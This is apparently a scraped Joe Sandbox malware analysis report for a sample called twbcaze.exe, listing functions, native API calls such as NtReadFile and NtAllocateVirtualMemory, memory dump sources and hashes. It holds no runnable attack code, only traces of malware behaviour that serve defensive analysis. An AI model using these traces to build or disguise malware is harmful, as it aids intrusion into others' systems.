__aulldiv.LIBCMT ref: 0040F00C

Strings

-, xrefs: 0040F03D
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 0040EF72, 0040EFA9, 0040EFAE

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 60ce88543888415d76db726476f9516c1b217617e5ae6a872a2eac9c1540e8e2
Instruction ID: f914e1aa9013a1433de104594954d8dae758147185d19b661e85066580ed57eb
Opcode Fuzzy Hash: 60ce88543888415d76db726476f9516c1b217617e5ae6a872a2eac9c1540e8e2
Instruction Fuzzy Hash: D151E470A04249ABDF258E7E84817BFBBA9AF45700F14447FE480B73C2C2BC89468B59

Uniqueness

Uniqueness Score: -1.00%

Function 00419F87 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0041A1FE

Strings

csm, xrefs: 0041A220
csm, xrefs: 0041A291

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: e1e810f7eec32865bd94398c0121fd3c4ff266d68d8713e2df609acbe281d2fe
Instruction ID: 1494fe649e5353dc08c68101fd2e464552a491e1779c1e50f007e242b881d39f
Opcode Fuzzy Hash: e1e810f7eec32865bd94398c0121fd3c4ff266d68d8713e2df609acbe281d2fe
Instruction Fuzzy Hash: 34318D325012189BCF269F91D8449EA7B66FF4A315B18419BF85449321D33BDCF2DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041D34F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D37D
_free.LIBCMT ref: 0041D3A3

Strings

($C, xrefs: 0041D40A

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free
String ID: ($C
API String ID: 269201875-3609345990
Opcode ID: 5705296c8f5e2ce6e54b2a6dd93835eae09c5fc4b394eee21e1016d4c2dcc879
Instruction ID: 589da761933b8489358107600bae34912bf1acc48a6383ebcc3d4a682aba7f87
Opcode Fuzzy Hash: 5705296c8f5e2ce6e54b2a6dd93835eae09c5fc4b394eee21e1016d4c2dcc879
Instruction Fuzzy Hash: 5F1181B1F002044BD7219F29BC45B967798AB10724F14263BE924CB3D2E778DAC2469E

Uniqueness

Uniqueness Score: -1.00%

Function 00404480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040449B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004044FC

Part of subcall function 0040E6AA: _Yarn.LIBCPMT ref: 0040E6C9
Part of subcall function 0040E6AA: _Yarn.LIBCPMT ref: 0040E6ED

Strings

bad locale name, xrefs: 0040450B

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 238c888e146f9155077e996780825bd2effd0d9b3f688fa335baba1fe65202fd
Instruction ID: 10351a998254b27a264eb5f60510b3b8a5f39e0114528638898faf0cfdb10de2
Opcode Fuzzy Hash: 238c888e146f9155077e996780825bd2effd0d9b3f688fa335baba1fe65202fd
Instruction Fuzzy Hash: 4C011B70D04108ABCB08FFA9D59166DBBB1EF8430CF04487EE74667782D6399A90CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0040FD33
___raise_securityfailure.LIBCMT ref: 0040FDF0

Strings

UDA, xrefs: 0040FD9E

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: UDA
API String ID: 3761405300-16305742
Opcode ID: 30c31e43d8885961e1ee9a641670382ed8a5f0ed8d9ae32863fd0d8a5714705e
Instruction ID: 426e22e72354b292b0491fa63b07e3ad4342c56be0c17f4280f2a8b488479637
Opcode Fuzzy Hash: 30c31e43d8885961e1ee9a641670382ed8a5f0ed8d9ae32863fd0d8a5714705e
Instruction Fuzzy Hash: EB119CB4612308DAD709EF16FA416403BE4BF18300F10B27AE828973A0E3F4A6419B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00404582
std::_Lockit::~_Lockit.LIBCPMT ref: 004045CC

Strings

BC@, xrefs: 00404579

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Locinfo_dtorLockitLockit::~_
String ID: BC@
API String ID: 3286764726-567795178
Opcode ID: 21a45f711aed31e2aa7e50a17d51986dc539f98cd72672fdc948f4672179dd05
Instruction ID: 30101b0a74aadc53a2af31f829cf8ca0d7754302c5aa35f51ee0d95304b8e84e
Opcode Fuzzy Hash: 21a45f711aed31e2aa7e50a17d51986dc539f98cd72672fdc948f4672179dd05
Instruction Fuzzy Hash: FDF0F970914108ABCB08FFA9E5A176DBB75AFC430CF44047ED646773C2DA38AAA09759

Uniqueness

Uniqueness Score: -1.00%

Function 004041C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004041E4
std::_Lockit::~_Lockit.LIBCPMT ref: 0040420F

Strings

P@@, xrefs: 004041C9

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: P@@
API String ID: 593203224-358152503
Opcode ID: 723069e1172fbba5e3a5e2abb35d6cb8eeda4d52ad1c98415e35d9cc6dbfd666
Instruction ID: c631f8bb44a1fe621ce2e9bf2f5b6246a9635cf2995841f609c86c8e23acef46
Opcode Fuzzy Hash: 723069e1172fbba5e3a5e2abb35d6cb8eeda4d52ad1c98415e35d9cc6dbfd666
Instruction Fuzzy Hash: 7EF034B0E00108DFDB04EFA9E541BACB7F0FF08304F0004AAE815AB3A1D3746A94CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0040E13C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00432638,?,?,?,00402AF5,?,?,00402A88,?,004028C7), ref: 0040E147
ReleaseSRWLockExclusive.KERNEL32(00432638,?,?,?,00402AF5,?,?,00402A88,?,004028C7), ref: 0040E181

Strings

8&C, xrefs: 0040E141

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: 8&C
API String ID: 17069307-4180868660
Opcode ID: 91a97375c961c7277db80e4fd2ba5b8a695cbc517f5d1d5b28a7f96b48310684
Instruction ID: c7b64bba9b5cb3d732e833d916cabc7bf9407ba6fbd8089bec8ac7146b67c8bc
Opcode Fuzzy Hash: 91a97375c961c7277db80e4fd2ba5b8a695cbc517f5d1d5b28a7f96b48310684
Instruction Fuzzy Hash: C4F08C31201100DBC720AF26E804A6AB7A4EB49331F104A3FE9599B3E0C73858A3CA5A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: twbcaze.exePID: 3172, Parent PID: 3164COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.3%
Total number of Nodes:	555
Total number of Limit Nodes:	64

Executed Functions

Function 0041A3D0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A415

Strings

!JA, xrefs: 0041A3EC, 0041A3F8
bMA, xrefs: 0041A40D, 0041A414
bMA, xrefs: 0041A3F2, 0041A400

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !JA$bMA$bMA
API String ID: 2738559852-4222312340
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 54437c4e75339082d0912fbe7e6c9053912bd6928cda1a9760da43cab1c95c7d
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: C3F0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241D630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3CA Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A415

Strings

!JA, xrefs: 0041A3EC, 0041A3F8
bMA, xrefs: 0041A40D, 0041A414
bMA, xrefs: 0041A3F2, 0041A400

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !JA$bMA$bMA
API String ID: 2738559852-4222312340
Opcode ID: 795d799980d892d287fd9b8db69c775aa6b625beaafbfd55f1d0e140686c4f71
Instruction ID: ca327f79104fa82d58dc4a51924c6610fe60a23fd3e84f6a0e5d2587a75f1dee
Opcode Fuzzy Hash: 795d799980d892d287fd9b8db69c775aa6b625beaafbfd55f1d0e140686c4f71
Instruction Fuzzy Hash: 8FF0FEB2600108ABDB04DF99DC80EEB73ADEF8C718F158209FE1DA3241C634E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD52

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction ID: 93036d1b31c8ba6342ae8de3f2893f5930aff37f33252288d1eb8296453bc5b5
Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction Fuzzy Hash: FF015EB5E0020DABDB10EBA1DC42FDEB3789F14308F0041AAE908A7281F634EB54CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A320 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00409CE3,?,00414BA7,00409CE3,FFFFFFFF,?,?,FFFFFFFF,00409CE3,00414BA7,?,00409CE3,00000060,00000000,00000000), ref: 0041A36D

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 30690d9e011530b668ed3b4ae7cc5c3fda29d367b226dbf4f68f65ca016a7565
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: FDF0BDB2201208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A500 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B0F4,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A539

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: c35769ceed384df61eeb5fc049e905e887b244236103aac277853e7772ac0dd9
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 75F015B2200208ABCB14DF89DC81EEB77ADAF88754F118149BE0897241C630F811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A44A Relevance: 1.5, APIs: 1, Instructions: 22
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A475

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 34d64a9403fb7a6a37e3297f96c8564be1be584d940cc82eb9b4c42dcb3ba971
Instruction ID: 66b807d11c52eaa30fa550aa3b1c1ef6ec778b7e68e66d63534a3927aaaed8be
Opcode Fuzzy Hash: 34d64a9403fb7a6a37e3297f96c8564be1be584d940cc82eb9b4c42dcb3ba971
Instruction Fuzzy Hash: E0E0C276200204BFDB20EFA4DC85FD77B28EF48324F104069BA1CDB242C530FA118B90

Uniqueness

Uniqueness Score: -1.00%

Function 0041A450 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A475

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e48275ca6f7768b9f0fd4fab79f6d7fda959a909e55c262f35bdb2090c9231ed
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: E5D01776200214ABD710EB99DC85EE77BADEF48764F15449ABA189B242C530FA1086E0

Uniqueness

Uniqueness Score: -1.00%

Function 008400C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008400CF

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 00840048 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00840053

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction ID: 41e4343c146f66e2bb318e135f4e172b2897deff735033a37a94e91f6413aa4b
Opcode Fuzzy Hash: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction Fuzzy Hash: DBB012B2100540C7E3099714D946B4B7210FB90F00F40C93BA11B81861DB3C993CD46A

Uniqueness

Uniqueness Score: -1.00%

Function 00840078 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00840086

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction ID: 3a645d05db048e5a2937cf36c3d58d647fc753ae06e93f94360992995f7f05c0
Opcode Fuzzy Hash: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction Fuzzy Hash: 2AB012B1504640C7F304F704D905B16B212FBD0F00F408938A14F86591D73DAD2CC78B

Uniqueness

Uniqueness Score: -1.00%

Function 0083F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083F9FB

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0083F900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083F90E

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0083FAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FADB

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0083FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FAF3

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
